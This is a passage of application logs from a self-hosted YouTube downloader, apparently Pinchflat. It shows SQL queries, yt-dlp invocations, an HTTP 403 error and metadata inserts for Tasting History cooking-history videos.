shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4007] 02:53:32.225 [debug] Current batch of media processed. Will check again in 1000ms 02:53:33.225 [debug] Current batch of media processed. Will check again in 1000ms 02:53:34.012 [info] {"args":{"id":13061},"id":1740,"meta":{},"system_time":1775026414012183574,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:53:34.012 [debug] QUERY OK source="media_items" db=0.2ms idle=484.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13061] 02:53:34.012 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:53:34.013 [debug] QUERY OK source="sources" db=0.1ms idle=485.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.013 [debug] QUERY OK source="media_profiles" db=0.1ms idle=485.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:53:34.013 [debug] QUERY OK source="media_items" db=0.2ms idle=7.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13061] 02:53:34.014 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13061] 02:53:34.014 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:53:34.014 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:53:34.015 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:53:34.015 [debug] Running yt-dlp command for action: get_downloadable_status 02:53:34.015 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:53:34.015 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:53:34.015 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:53:34.016 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ff/57/ff5718aa03c66124a12e50864813dcc46652dfb9976a14bc8b8f35e7b1af6af5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:53:34.226 [debug] Current batch of media processed. Will check again in 1000ms 02:53:34.623 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@TastingHistory/videos --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/71/71/7171fae9cb256f83eb29a370c82f1930393af1610d36eee476bce377baa012e0.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/23/a8/23a858c874be5a05924c998584a287eb6a4b86344bc38fd67bd090f90f3ee0e6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue 02:53:34.624 [debug] Gracefully stopping file follower 02:53:34.624 [debug] QUERY OK source="sources" db=0.2ms idle=609.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:53:34.624 [debug] QUERY OK source="sources" db=0.1ms idle=609.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.627 [debug] QUERY OK source="media_items" db=2.1ms idle=609.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-31 15:00:00Z], 3] 02:53:34.631 [debug] QUERY OK source="media_items" db=3.8ms idle=611.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Start speaking a new language in 3 weeks with Babbel 🎉. Get up to 55% OFF ➡️ Here: https://bit.ly/TastingHistoryMarch26\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n#tastinghistory", "Making 200-Year-Old Mayonnaise - How has it changed?", "9e5f6995-f238-48e6-94df-3403dfa53cc0", "RdZn86fOHqA", "https://www.youtube.com/watch?v=RdZn86fOHqA", false, 1183, false, 1, "/downloads/Tasting History with Max Miller/2026-03-31 Making 200-Year-Old Mayonnaise - How has it changed?/Making 200-Year-Old Mayonnaise - How has it changed? [RdZn86fOHqA].mp4", false, false, 3, [], 98, ~U[2026-03-31 15:00:00Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "Start speaking a new language in 3 weeks with Babbel 🎉. Get up to 55% OFF ➡️ Here: https://bit.ly/TastingHistoryMarch26\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n#tastinghistory", "Making 200-Year-Old Mayonnaise - How has it changed?", "RdZn86fOHqA", "https://www.youtube.com/watch?v=RdZn86fOHqA", 1183, false, "/downloads/Tasting History with Max Miller/2026-03-31 Making 200-Year-Old Mayonnaise - How has it changed?/Making 200-Year-Old Mayonnaise - How has it changed? [RdZn86fOHqA].mp4", false, 3, ~U[2026-03-31 15:00:00Z]] 02:53:34.631 [debug] QUERY OK source="sources" db=0.2ms idle=615.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.633 [debug] QUERY OK source="media_items" db=1.2ms idle=7.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-24 15:01:06Z], 3] 02:53:34.635 [debug] QUERY OK source="media_items" db=1.0ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Brutal Life of a Medieval Butcher", "7226855f-523a-48e0-881a-40676c88a6fc", "_iGppK9by3Y", "https://www.youtube.com/watch?v=_iGppK9by3Y", false, 1375, false, 2, "/downloads/Tasting History with Max Miller/2026-03-24 The Brutal Life of a Medieval Butcher/The Brutal Life of a Medieval Butcher [_iGppK9by3Y].mp4", false, false, 3, [], 98, ~U[2026-03-24 15:01:06Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Brutal Life of a Medieval Butcher", "_iGppK9by3Y", "https://www.youtube.com/watch?v=_iGppK9by3Y", 1375, false, "/downloads/Tasting History with Max Miller/2026-03-24 The Brutal Life of a Medieval Butcher/The Brutal Life of a Medieval Butcher [_iGppK9by3Y].mp4", false, 3, ~U[2026-03-24 15:01:06Z]] 02:53:34.635 [debug] QUERY OK source="sources" db=0.2ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.637 [debug] QUERY OK source="media_items" db=1.2ms idle=4.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-17 15:00:31Z], 3] 02:53:34.638 [debug] QUERY OK source="media_items" db=0.9ms idle=5.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Hardtack Hash from Steerage on a Victorian Ocean Liner", "c7635446-85bd-4990-b930-e31c6a9cc83e", "9SvcDeiwXrc", "https://www.youtube.com/watch?v=9SvcDeiwXrc", false, 1338, false, 3, "/downloads/Tasting History with Max Miller/2026-03-17 Hardtack Hash from Steerage on a Victorian Ocean Liner/Hardtack Hash from Steerage on a Victorian Ocean Liner [9SvcDeiwXrc].mp4", false, false, 3, [], 98, ~U[2026-03-17 15:00:31Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Hardtack Hash from Steerage on a Victorian Ocean Liner", "9SvcDeiwXrc", "https://www.youtube.com/watch?v=9SvcDeiwXrc", 1338, false, "/downloads/Tasting History with Max Miller/2026-03-17 Hardtack Hash from Steerage on a Victorian Ocean Liner/Hardtack Hash from Steerage on a Victorian Ocean Liner [9SvcDeiwXrc].mp4", false, 3, ~U[2026-03-17 15:00:31Z]] 02:53:34.639 [debug] QUERY OK source="sources" db=0.2ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.640 [debug] QUERY OK source="media_items" db=1.1ms idle=4.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-10 15:01:36Z], 3] 02:53:34.641 [debug] QUERY OK source="media_items" db=0.9ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Join Thrive Market today to get 30% off your first order + a free gift worth up to $60 using my link: http://thrivemarket.com/MaxMiller \n#thrivemarketpartner \n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/shepherdspie\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?", "737957e8-54c9-4615-bcc4-6364dfaf3a8c", "t1O1hcixZDU", "https://www.youtube.com/watch?v=t1O1hcixZDU", false, 1395, false, 4, "/downloads/Tasting History with Max Miller/2026-03-10 Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?/Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb? [t1O1hcixZDU].mp4", false, false, 3, [], 98, ~U[2026-03-10 15:01:36Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "Join Thrive Market today to get 30% off your first order + a free gift worth up to $60 using my link: http://thrivemarket.com/MaxMiller \n#thrivemarketpartner \n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/shepherdspie\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?", "t1O1hcixZDU", "https://www.youtube.com/watch?v=t1O1hcixZDU", 1395, false, "/downloads/Tasting History with Max Miller/2026-03-10 Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?/Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb? [t1O1hcixZDU].mp4", false, 3, ~U[2026-03-10 15:01:36Z]] 02:53:34.642 [debug] QUERY OK source="sources" db=0.3ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.643 [debug] QUERY OK source="media_items" db=1.1ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-03 16:01:01Z], 3] 02:53:34.645 [debug] QUERY OK source="media_items" db=1.2ms idle=4.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Support the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nTree at Hatshepsut’s Temple: By Justegypt - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=160210600\nMortuary Temple Aerial Shot: By Diego Delso, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=122648660\nHatshepsut’s Mummy - By Vrangel1924 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=79389860\nDestroyed Cartouches: By Hedwig Storch - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5943134\n\n#tastinghistory", "Hatshepsut - The Pharaoh they tried to Erase from History", 